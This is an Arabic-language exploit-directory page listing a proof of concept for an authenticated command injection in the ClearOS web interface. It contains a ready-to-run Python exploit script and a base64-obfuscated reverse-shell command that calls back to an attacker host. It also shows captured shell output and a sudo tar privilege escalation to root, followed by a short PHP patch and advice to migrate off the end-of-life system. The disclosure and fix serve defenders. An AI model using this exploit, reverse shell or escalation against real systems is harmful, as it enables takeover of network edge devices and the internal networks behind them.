Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-67599_ClearOS_RCE — Authenticated Blind OS Command Injection in ClearOS | Kitploit
أدوات/GitHubGitHub/lazytitan33/cve-2026-67599_clearos_rce
Privilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHublazytitan33/cve-2026-67599_clearos_rce

CVE-2026-67599_ClearOS_RCE

Authenticated Blind OS Command Injection in ClearOS

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 20 أياملم تتم المراجعة بعد

حقن أوامر نظام التشغيل في معامل تصفية عارض السجلات (Log Viewer)

الحزمة: ClearFoundation الإصدارات المختبرة: ClearOS 7.9.1.342252
نوع الثغرة: حقن أوامر نظام التشغيل (CWE-78)
الخطورة: عالية
CVE: CVE-2026-67599
متجه CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (النتيجة: 7.2)

شكرًا إلى VulnCheck للمساعدة في تعيين وتتبع CVE-2026-67599 بالنيابة عني.

وصف المنتج


ClearOS هو نظام تشغيل مبني على CentOS/RHEL مصمم ليعمل كبوابة شبكة، ومنصة إدارة التهديدات الموحدة (UTM)، وخادم حافة للمؤسسات الصغيرة والمتوسطة. يعمل بشكل أساسي كجهاز حافة، ويدير قواعد جدار الحماية، واتصالات VPN، والتوجيه، والبنية التحتية الأساسية للشبكة.

نظرًا لأن ClearOS يُنشر عند محيط الشبكة، فإن الواجهات الإدارية مثل Webconfig (المنفذ 81) غالبًا ما تكون مكشوفة لقطاعات الإدارة أو مباشرة للشبكات الخارجية. تسمح ثغرة تنفيذ الأوامر في هذه الواجهة للمهاجم باختراق البوابة، والحصول على موطئ قدم دائم على الحافة، والانتقال مباشرة إلى قطاعات الشبكة الداخلية.


الملفات المتأثرة

/usr/clearos/apps/base/libraries/File.php — الأسطر 297، 314


السبب الجذري

يُمرَّر معامل filter المقدم إلى نقطة نهاية عارض السجلات (Log Viewer) دون تعقيم إلى أمر shell يتم إنشاؤه في File.php. تُضمَّن قيمة $regex مباشرة في سلسلة الأمر بدلاً من تمريرها كوسيطة مهربة بشكل صحيح، مما يسمح بحمولات استبدال الأوامر مثل $(...) أو تعبيرات backtick بالتنفيذ كمستخدم webconfig.


إثبات المفهوم (PoC)

عثرت على هذا بالصدفة أثناء مهمة نشطة. إليك مولّد بسيط للأرتيفاكتات (Artifacts).

root@kitploit:~
#!/usr/bin/python3

import requests
import sys
import warnings
warnings.filterwarnings("ignore")
import argparse
import urllib.parse

parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", required=True, help="username")
parser.add_argument("-p", "--password", required=True, help="password")
parser.add_argument("-t", "--target", required=True, help="target")
parser.add_argument("-c", "--command", default="id>/tmp/lazytitanwazhere", help="command to execute (default: id>/tmp/lazytitanwazhere)")

args = parser.parse_args()
s = requests.Session()
s.headers.update({"Content-Type": "application/x-www-form-urlencoded"})
s.verify = False
login_data = f"ci_csrf_token=random&os_username={args.username}&os_password={args.password}&code=en_US&submit=Login"
s.post(f"https://{args.target}:81/app/base/session/login/", data=login_data, cookies={"ci_csrf_token":"random"})
token = s.cookies.get("ci_csrf_token")
command_to_execute = urllib.parse.quote_plus(args.command)
command_data = f"ci_csrf_token={token}&file=system&filter=$({command_to_execute})&display=Display"
s.post(f"https://{args.target}:81/app/log_viewer/index", data=command_data)

مثال على قشرة عكسية (المهاجم على .1، الهدف على .129):

root@kitploit:~
python .\testing.py -u root -p password -t 192.168.137.129 -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xLzEzMzcgMD4mMQ==|base64 -d|bash"

المخرجات المؤكدة:

root@kitploit:~
Ncat: Connection from 192.168.137.129:52984.
bash: no job control in this shell
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)

يمكن تصعيد الامتيازات إلى root بسهولة عبر قواعد sudoers الافتراضية المتساهلة جدًا:

root@kitploit:~
bash-4.2$ id
uid=995(webconfig) gid=994(webconfig) groups=994(webconfig)
bash-4.2$ sudo -l
Matching Defaults entries for webconfig on server:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY
    HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !syslog, env_keep+=http_proxy, env_keep+=https_proxy

User webconfig may run the following commands on server:
    (root) NOPASSWD: /usr/bin/killall, /usr/sbin/postmap, /usr/sbin/postconf, /usr/sbin/run-app-upgrades,
        /usr/sbin/configuration-restore, /bin/tar, /usr/sbin/mkdosfs, /usr/bin/cat, /usr/sbin/mkfs.vfat,
        /usr/sbin/mkfs.xfs, /usr/bin/mount, /usr/sbin/pvs, /usr/sbin/vgdisplay, /usr/sbin/lvdisplay, /usr/sbin/pvremove,
        /usr/sbin/vgremove, /usr/sbin/lvremove, /usr/bin/umount, /usr/bin/df, /usr/sbin/lvextend, /usr/sbin/lvreduce,
        /usr/sbin/blkid, /usr/bin/mkdir, /usr/sbin/mkfs.ext3, /usr/sbin/mkfs.ext4, /usr/sbin/lvcreate,
        /usr/sbin/vgcreate, /usr/sbin/pvcreate, /usr/sbin/storagize-mappings, /usr/sbin/app-storage-create,
        /bin/findmnt, /sbin/sfdisk, /sbin/parted, /sbin/mkfs.ext3, /sbin/mkfs.ext4, /usr/sbin/ntpdate, /sbin/hwclock,
        /usr/bin/openssl, /usr/sbin/dmidecode, /usr/sbin/initialize-accounts, /usr/sbin/nscd,
        /usr/clearos/sandbox/usr/sbin/httpd, /usr/sbin/yum-install, /usr/bin/yum-config-manager, /usr/bin/yum,
        /usr/sbin/userdel, /usr/sbin/app-manager, /usr/sbin/app-rename, /usr/sbin/app-realpath, /usr/sbin/app-passwd,
        /usr/bin/systemctl, /usr/bin/passwd, /usr/bin/du, /usr/bin/chfn, /usr/bin/tail, /usr/bin/find, /usr/bin/file,
        /usr/bin/api, /sbin/service, /sbin/shutdown, /bin/touch, /bin/rmdir, /bin/rm, /bin/rpm, /bin/mv, /bin/mkdir,
        /bin/ls, /bin/kill, /bin/grep, /bin/df, /bin/cp, /bin/chown, /bin/chmod, /bin/cat, /usr/sbin/wc-yum,
        /usr/bin/eventsctl, /usr/bin/mkhost.sh, /usr/sbin/brctl, /sbin/arping, /sbin/iwconfig, /sbin/ip, /sbin/ifup,
        /sbin/ifdown, /sbin/ifconfig, /sbin/ethtool, /bin/hostname

في المثال أدناه، استخدام ثنائي tar لتصعيد الصلاحيات إلى root:

root@kitploit:~
bash-4.2$ sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)

التأثير

يؤدي وصول مستخدم واجهة ويب مصادق عليه إلى التقارير (Reports) إلى تنفيذ أوامر على مستوى نظام التشغيل بالكامل كمستخدم webconfig. في تثبيت ClearOS 7.9 الافتراضي، يُمنح webconfig صلاحيات sudo واسعة النطاق NOPASSWD، مما يسمح بالتصعيد الفوري إلى root دون بيانات اعتماد إضافية. يمكن للمهاجم تحقيق وصول root دائم إلى المضيف الأساسي، بما في ذلك جميع البيانات والخدمات وتكوينات الشبكة التي يديرها النظام.


الإصلاح المقترح

وصل ClearOS إلى نهاية العمر. أحدث توزيعة لا تزال قابلة للتنزيل من clearos.com (الإصدار ClearOS-7.9.1.342252) يعود تاريخها إلى 13 أكتوبر 2021، ولا تتلقى أي صيانة أو تحديثات أمنية من المنبع.

لهذا السبب، إصلاح الكود أدناه هو مجرد ضمادة مؤقتة. تشغيل نظام تشغيل غير مُصان على محيط شبكتك هو بمثابة اللعب بالنار. المسار الموصى به بشدة للمضي قدمًا هو الترحيل من ClearOS بالكامل إلى جهاز حافة أو منصة UTM مدعومة.

حل مؤقت (تصحيح PHP)

إذا كنت مضطرًا لإبقاء هذا المضيف يعمل أثناء التخطيط للترحيل، فلفّ $regex في escapeshellarg() على الأسطر 297 و314 من /usr/clearos/apps/base/libraries/File.php للتغيير من:

root@kitploit:~
'"' . $regex . '" ' . escapeshellarg($this->filename) . " > " . $tempfile,

إلى:

root@kitploit:~
'-e ' . escapeshellarg($regex) . ' ' . escapeshellarg($this->filename) . " >" . $tempfile,

ثم أعد تشغيل خدمة webconfig:

root@kitploit:~
sudo systemctl restart webconfig
تنزيل الأداة